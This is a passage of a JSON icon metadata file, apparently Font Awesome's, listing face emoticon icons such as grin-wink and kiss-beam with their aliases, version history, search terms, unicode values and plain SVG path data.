        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256c0-114.9-93.1-208-208-208S48 141.1 48 256c0 81.7 47.1 152.4 115.7 186.4c-2.4-8.4-3.7-17.3-3.7-26.4V392.7c-24-17.5-43.1-41.4-54.8-69.2c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19c12.3-3.8 24.3 6.9 19.3 18.7c-11.8 28-31.1 52-55.4 69.6V416c0 9.2-1.3 18-3.7 26.4C416.9 408.4 464 337.7 464 256zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm116-98.9c0-9 9.6-14.7 17.5-10.5l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6zm262.5-10.5c7.9-4.2 17.5 1.5 17.5 10.5c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9zM320 416V378.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V416c0 35.3 28.7 64 64 64s64-28.7 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256c0-114.9-93.1-208-208-208S48 141.1 48 256c0 81.7 47.1 152.4 115.7 186.4c-2.4-8.4-3.7-17.3-3.7-26.4V392.7c-24-17.5-43.1-41.4-54.8-69.2c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19c12.3-3.8 24.3 6.9 19.3 18.7c-11.8 28-31.1 52-55.4 69.6V416c0 9.2-1.3 18-3.7 26.4C416.9 408.4 464 337.7 464 256zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm116-98.9c0-9 9.6-14.7 17.5-10.5l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6zm262.5-10.5c7.9-4.2 17.5 1.5 17.5 10.5c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9zM320 416V378.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V416c0 35.3 28.7 64 64 64s64-28.7 64-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-tongue-wink": {
    "aliases": {
      "names": ["grin-tongue-wink"],
      "unicodes": {
        "composite": ["1f61c"],
        "secondary": ["10f58b"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "5.12.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "LOL",
        "emoticon",
        "eye",
        "face",
        "joke",
        "tongue",
        "wink",
        "winking face with tongue"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f58b",
    "label": "Face Grin Tongue Wink",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M174.5 498.8C73.1 464.7 0 368.9 0 256C0 114.6 114.6 0 256 0S512 114.6 512 256c0 112.9-73.1 208.7-174.5 242.8C346.7 484 352 466.6 352 448V401.1c24.3-17.5 43.6-41.6 55.4-69.6c5-11.8-7-22.5-19.3-18.7c-39.7 12.2-84.5 19-131.8 19s-92.1-6.8-131.8-19c-12.3-3.8-24.3 6.9-19.3 18.7c11.7 27.8 30.8 51.7 54.8 69.2V448c0 18.6 5.3 36 14.5 50.8zm20.7-265.2c5.3 7.1 15.3 8.5 22.4 3.2s8.5-15.3 3.2-22.4c-30.4-40.5-91.2-40.5-121.6 0c-5.3 7.1-3.9 17.1 3.2 22.4s17.1 3.9 22.4-3.2c17.6-23.5 52.8-23.5 70.4 0zM336 272a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM320 402.6V448c0 35.3-28.7 64-64 64s-64-28.7-64-64V402.6c0-14.7 11.9-26.6 26.6-26.6h2c11.3 0 21.1 7.9 23.6 18.9c2.8 12.6 20.8 12.6 23.6 0c2.5-11.1 12.3-18.9 23.6-18.9h2c14.7 0 26.6 11.9 26.6 26.6zM336 184a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M174.5 498.8C73.1 464.7 0 368.9 0 256C0 114.6 114.6 0 256 0S512 114.6 512 256c0 112.9-73.1 208.7-174.5 242.8C346.7 484 352 466.6 352 448V401.1c24.3-17.5 43.6-41.6 55.4-69.6c5-11.8-7-22.5-19.3-18.7c-39.7 12.2-84.5 19-131.8 19s-92.1-6.8-131.8-19c-12.3-3.8-24.3 6.9-19.3 18.7c11.7 27.8 30.8 51.7 54.8 69.2V448c0 18.6 5.3 36 14.5 50.8zm20.7-265.2c5.3 7.1 15.3 8.5 22.4 3.2s8.5-15.3 3.2-22.4c-30.4-40.5-91.2-40.5-121.6 0c-5.3 7.1-3.9 17.1 3.2 22.4s17.1 3.9 22.4-3.2c17.6-23.5 52.8-23.5 70.4 0zM336 272a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM320 402.6V448c0 35.3-28.7 64-64 64s-64-28.7-64-64V402.6c0-14.7 11.9-26.6 26.6-26.6h2c11.3 0 21.1 7.9 23.6 18.9c2.8 12.6 20.8 12.6 23.6 0c2.5-11.1 12.3-18.9 23.6-18.9h2c14.7 0 26.6 11.9 26.6 26.6zM336 184a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M348.3 442.4c2.4-8.4 3.7-17.3 3.7-26.4V363.5c8.8-8 16.6-17.1 23-27c10.4-16.1-6.8-32.5-25.5-28.1c-28.9 6.8-60.5 10.5-93.6 10.5s-64.7-3.7-93.6-10.5c-18.7-4.4-35.9 12-25.5 28.1c6.5 10 14.3 19.1 23.1 27.1V416c0 9.2 1.3 18 3.7 26.4C95.1 408.4 48 337.7 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208c0 81.7-47.1 152.4-115.7 186.4zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM159.6 220c10.6 0 19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C199.7 186.8 179 180 159.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9c5.5-5.8 14.8-9.7 25.4-9.7zm176.7 12a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm-.4-72a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm0 128a80 80 0 1 0 0-160 80 80 0 1 0 0 160zM320 416c0 35.3-28.7 64-64 64s-64-28.7-64-64V378.6c0-14.7 11.9-26.6 26.6-26.6h2c11.3 0 21.1 7.9 23.6 18.9c2.8 12.6 20.8 12.6 23.6 0c2.5-11.1 12.3-18.9 23.6-18.9h2c14.7 0 26.6 11.9 26.6 26.6V416z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M348.3 442.4c2.4-8.4 3.7-17.3 3.7-26.4V363.5c8.8-8 16.6-17.1 23-27c10.4-16.1-6.8-32.5-25.5-28.1c-28.9 6.8-60.5 10.5-93.6 10.5s-64.7-3.7-93.6-10.5c-18.7-4.4-35.9 12-25.5 28.1c6.5 10 14.3 19.1 23.1 27.1V416c0 9.2 1.3 18 3.7 26.4C95.1 408.4 48 337.7 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208c0 81.7-47.1 152.4-115.7 186.4zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM159.6 220c10.6 0 19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C199.7 186.8 179 180 159.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9c5.5-5.8 14.8-9.7 25.4-9.7zm176.7 12a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm-.4-72a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm0 128a80 80 0 1 0 0-160 80 80 0 1 0 0 160zM320 416c0 35.3-28.7 64-64 64s-64-28.7-64-64V378.6c0-14.7 11.9-26.6 26.6-26.6h2c11.3 0 21.1 7.9 23.6 18.9c2.8 12.6 20.8 12.6 23.6 0c2.5-11.1 12.3-18.9 23.6-18.9h2c14.7 0 26.6 11.9 26.6 26.6V416z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-wide": {
    "aliases": {
      "names": ["grin-alt"],
      "unicodes": {
        "composite": ["1f603"],
        "secondary": ["10f581"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "face",
        "grinning face with big eyes",
        "laugh",
        "mouth",
        "open",
        "smile"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f581",
    "label": "Face Grin Wide",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM208 192c0 35.3-14.3 64-32 64s-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64zm128 64c-17.7 0-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64s-14.3 64-32 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM208 192c0 35.3-14.3 64-32 64s-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64zm128 64c-17.7 0-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64s-14.3 64-32 64z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM224 192c0 35.3-14.3 64-32 64s-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64zm96 64c-17.7 0-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64s-14.3 64-32 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM224 192c0 35.3-14.3 64-32 64s-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64zm96 64c-17.7 0-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64s-14.3 64-32 64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-wink": {
    "aliases": {
      "names": ["grin-wink"],
      "unicodes": {
        "secondary": ["10f58c"]
      }
    },
    "changes": [
      "5.1.0",
      "5.1.1",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["emoticon", "face", "flirt", "laugh", "smile"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f58c",
    "label": "Face Grin Wink",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zm-16.9-79.2c-17.6-23.5-52.8-23.5-70.4 0c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zm-16.9-79.2c-17.6-23.5-52.8-23.5-70.4 0c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm165.8 21.7c-7.6 8.1-20.2 8.5-28.3 .9s-8.5-20.2-.9-28.3c14.5-15.5 35.2-22.3 54.6-22.3s40.1 6.8 54.6 22.3c7.6 8.1 7.1 20.7-.9 28.3s-20.7 7.1-28.3-.9c-5.5-5.8-14.8-9.7-25.4-9.7s-19.9 3.8-25.4 9.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm165.8 21.7c-7.6 8.1-20.2 8.5-28.3 .9s-8.5-20.2-.9-28.3c14.5-15.5 35.2-22.3 54.6-22.3s40.1 6.8 54.6 22.3c7.6 8.1 7.1 20.7-.9 28.3s-20.7 7.1-28.3-.9c-5.5-5.8-14.8-9.7-25.4-9.7s-19.9 3.8-25.4 9.7z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-kiss": {
    "aliases": {
      "names": ["kiss"],
      "unicodes": {
        "composite": ["1f617"],
        "secondary": ["10f596"]
      }
    },
    "changes": [
      "5.1.0",
      "5.1.1",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "beso",
        "emoticon",
        "face",
        "kiss",
        "kissing face",
        "love",
        "smooch"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f596",
    "label": "Face Kiss",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm48.7-198.3c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 443.1 257.4 448 240 448c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1 .3-.2 .6-.4c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.4-.3-.5-.3-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm48.7-198.3c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 443.1 257.4 448 240 448c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1 .3-.2 .6-.4c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.4-.3-.5-.3-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm304.7 25.7c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 411.1 257.4 416 240 416c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.8-.5-.1-.1-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm304.7 25.7c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 411.1 257.4 416 240 416c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.8-.5-.1-.1-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-kiss-beam": {
    "aliases": {
      "names": ["kiss-beam"],
      "unicodes": {
        "composite": ["1f619"],
        "secondary": ["10f597"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "beso",
        "emoticon",
        "eye",
        "face",
        "kiss",
        "kissing face with smiling eyes",
        "love",
        "smile",
        "smooch"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f597",
    "label": "Face Kiss Beam",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm48.7-198.3c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 443.1 257.4 448 240 448c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1 .3-.2 .6-.4c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.4-.3-.5-.3-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zm-87.1-84.9l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 